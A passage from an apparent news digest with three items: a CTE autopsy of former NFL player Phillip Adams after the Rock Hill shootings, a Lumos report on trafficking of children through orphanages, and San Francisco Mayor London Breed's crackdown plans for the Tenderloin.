GIST	<p>ROCK HILL, S.C. - A coroner says an autopsy shows unusually severe brain disease in the frontal lobe of the former NFL player accused of fatally shooting six people in Rock Hill, South Carolina before killing himself in April.</p> <p>The twenty years ex-football pro Phillip Adams spent playing football "definitely ... gave rise" to a diagnosis of stage 2 chronic traumatic encephalopathy, said Dr. Ann McKee, who examined Adams' brain.</p> <p>Authorities have said that on April 7, Phillip Adams killed Rock Hill physician Robert Lesslie; his wife, Barbara; two of their grandchildren, 9-year-old Adah Lesslie and 5-year-old Noah Lesslie; and two HVAC technicians working at the Lesslie home, James Lewis and Robert Shook, both 38. Police later found Adams with a self-inflicted gunshot wound to the head.</p> <p>The degenerative disease known as CTE is linked to head trauma and concussions that has been shown to cause a range of symptoms, including violent mood swings and memory loss.</p> <p>McKee, who directs the CTE Center at Boston University, said of 24 NFL diagnosed with the disease after dying in their 20s and 30s, most had stage 2, like Adams. The disease has four stages, with stage 4 being the most severe and usually associated with dementia.</p> <p>The second stage is associated with progressive cognitive and behavioral abnormalities such as aggression, impulsivity, explosivity, depression, paranoia, anxiety, poor executive function and memory loss, McKee said.</p> <p>But Adams' CTE diagnosis was different from the other young players because it was "unusually severe" in both of his frontal lobes, said the expert.</p>

The Adams family said in a prepared statement that they were not surprised by the results, but were shocked to learn how severe his condition was.

"After going through medical records from his football career, we do know that he was desperately seeking help from the NFL but was denied all claims due to his inability to remember things and to handle seemingly simple tasks, such as traveling hours away to see doctors and going through extensive evaluations," their statement said.

CTE, which can only be diagnosed through an autopsy, has been found in former members of the military, football players, boxers and others who have been subjected to repeated head trauma. One recent study found signs of the debilitating disease in 110 of 111 NFL players whose brains were inspected.

Adams, 32, played in 78 NFL games for six teams over six seasons. He joined the San Francisco 49ers in 2010 as a seventh-round draft pick out of South Carolina State, and though he rarely started, he went on to play for New England, Seattle, Oakland and the New York Jets before finishing his career with the Atlanta Falcons in 2015.

As a rookie, Adams suffered a severe ankle injury and never played for the 49ers again. Later, with the Raiders, he had two concussions over three games in 2012. Because he didn't retire by 2014, he wouldn't have been eligible for testing as part of a broad settlement between the league and former players over long-lasting concussion-related injuries.

Adams' sister told USA Today after the killings that her brother's "mental health degraded fast and terribly bad" in recent years and that the family noticed "extremely concerning" signs of mental illness, including an escalating temper and personal hygiene neglect.

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HEADLINE	12/14 Report: trafficking children in orphanages
SOURCE	https://www.theguardian.com/global-development/2021/dec/14/urgent-action-needed-to-halt-trafficking-of-children-in-worlds-orphanages-report
GIST	<p>Immediate action must be taken to prevent trafficking and exploitation of children in orphanages, according to a report published on Monday.</p> <p>International children's charity Lumos says that an estimated 5.4 million children worldwide live in institutions that cannot meet their needs and neglect their rights and where they are exposed to multiple forms of exploitation and harm.</p> <p>The report is the first to identify global patterns of institution-related trafficking, taking into account evidence from 84 organisations in 45 countries around the world. It highlights instances of sexual exploitation, as well as children being forced to work and coerced into performing for foreign donors to secure more funding. In some instances, children were left malnourished and held in cramped, unhygienic conditions to attract money from donors and volunteers. Lumos also found cases where the institution operated as a base from which children were made available to perpetrators for several hours or days before being returned.</p> <p>The charity says many vulnerable children enter institutions with forged identity documents, including false parental death certificates or paperwork attesting to abandonment, and are "coached to pose as orphans in the presence of volunteers and other visitors". They are then trafficked out of the same institutions into other forms of exploitation, including sex work and forced begging.</p> <p>In Ghana, trafficked children were subjected to some of the worst forms of abuse, with children sold by institutions to work on cocoa farms and in goldmines. In Cambodia, some orphanage owners were found to have bought vulnerable children from disadvantaged families and marketed them to donors for profit.</p>

The report shows that trafficking is more prevalent in countries with a significant tourism industry. In Uganda, the number of children in homes has increased from about 1,000 in the late 1990s to 55,000 today, and in Cambodia, the number of residential care institutions has increased by 75% in the last decade, despite a sharp decline in the number of orphans in both countries. Most institutions are developed in tourist hotspots.

In 2017, more than 100 children attempted to flee an orphanage in Guatemala after experiencing abuse, but were brought back by law enforcement officers and placed in confinement. Fifty-six of the girls, who had been placed together in a cramped room, started a fire to gain the attention of the officers outside. The officers did not respond to the situation, resulting in the death of 41 girls.

In 2019, the United Nations General Assembly recognised the link between children's institutions and human trafficking but the charity says there are few examples of it being tackled effectively.

Lina Gyllensten, acting director of evidence, advocacy and campaigns at Lumos, said: "Lumos' report shows that institutions are playing a significant role in many instances of child exploitation and abuse around the world. Vulnerable children are being trapped in a complex web of institution-related trafficking and are being repeatedly exposed to multiple forms of harm. It is time to break these cycles of exploitation."

Parosha Chandran, barrister at One Pump Court, said: "I suspect that many people will be shocked by this report. They may recognise themselves as a well-intentioned orphanage volunteer, or as a generous donor who has supported children left vulnerable after a humanitarian disaster. Reading what follows may be the first time that they realise that they'd unwittingly played a part in propping up a harmful ecosystem in which children, most of whom have at least one living parent, act as commodities in an industry of profit-making orphanages."

The report makes recommendations for breaking the cycles of exploitation, including the reinvestment of funding from institutions into family and community-based services, better data collection and a new model law, outlining the steps national governments need to take to combat the problem.

Lumos is urging national governments to boost specialist support to children in care and ensure children get expert support and information to know their rights.

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HEADLINE	12/14 San Francisco mayor pledges public safety
SOURCE	https://apnews.com/article/business-police-san-francisco-9210b1e49ad00f0001532a2d50bead81
GIST	<p>SAN FRANCISCO (AP) — The mayor of San Francisco on Tuesday announced even more initiatives aimed at curbing open drug use, brazen home break-ins and other criminal behavior that she says have made a mockery of the city's famed tolerance and compassion.</p> <p>Mayor London Breed said at a news conference attended by the police chief and other public safety personnel that she would introduce legislation to allow law enforcement real-time access to surveillance video in certain situations and to make it harder for people to sell stolen goods.</p> <p>She also announced emergency intervention to improve safety in the Tenderloin, one of the poorest and most drug-infested neighborhoods in San Francisco, where parents have pleaded for protection from drug dealers and violent street behavior. The neighborhood contains several government buildings, including City Hall.</p> <p>"What I'm proposing today, and what I will be proposing in the future will make a lot of people uncomfortable, and I don't care," said Breed, a Democrat. "We are past the point where what we see is even remotely acceptable."</p> <p>She said it's time to get aggressive and "less tolerant of all the bull— that has destroyed our city."</p>

The announcement follows a meeting the mayor had last week with Tenderloin families, as well as a report by The Associated Press describing the frustrations of some residents who say the city is in decline. They said despite San Francisco's wealth, city officials are not doing enough to keep streets cleared of human feces and trash, provide housing to people experiencing homelessness, and deter drug dealers.

They are also upset that San Francisco public schools spent much of last year teaching remotely while neighboring districts and private schools within the city provided in-class instruction.

Criminal justice advocates in favor of less incarceration say the media has been drumming up fear in a city where overall crime rates have declined in recent years. Increased enforcement, they say, only ends up harming the most vulnerable, including Black and homeless residents, without improving public safety.

Similar debates are taking place across the country in liberal cities where the murder of George Floyd led to a surge of progressive activism that included calls to rethink the way cities deal with crime. Some cities where there were calls to defund the police, including Portland, Oregon, have moved in recent months to bolster police budgets.

John Hamasaki, a San Francisco police commissioner and defense lawyer who is highly critical of extra policing and surveillance, said Tuesday that taxpayer money is better spent on services, treatment and housing.

He said the city should open a supervised drug consumption site and act to treat addiction rather than using methods that will shove dealing into other neighborhoods.

"The situation in the Tenderloin isn't ultimately going to be solved through more policing," he said. "It seems like we're doing the same dance over and over and expecting different results."

But Randy Shaw, executive director of the Tenderloin Housing Clinic, which provides legal services and housing to low-income people, said more police patrols would deter dealers and make the neighborhood safer for residents. At the same time, he has heard the mayor's promises before and seen little concrete action.

"I'm glad the mayor's coming out like this, but it's really actions speak louder than words," he said. "We heard a lot of commitments, and now we have to make sure they happen."

Breed has directed the city's Department of Emergency Management to lead the response in the Tenderloin, much like the agency coordinated efforts to address the pandemic. The department will, in part, streamline emergency medical calls, disrupt drug dealing and use, and clean up "nasty streets," she said.

"And when I say nasty, full of feces and urine, that the Department of Public Works is cleaning every single day, but it comes back just a few hours later," she said.

Breed said she would ask the Board of Supervisors for more money to pay for police overtime and to increase the department's budget. Legislative changes would also require the board's support, which is not guaranteed.

San Francisco Police Chief Bill Scott said the criminal justice system has changed so that drug possession doesn't land a person in jail and that police now try to balance enforcement with offers of help to those suffering with addiction and homelessness.

"But at the end of the day, at the end of all of this people will not be allowed to smoke meth, to smoke fentanyl, to inject heroin in their arms in public spaces," he said.

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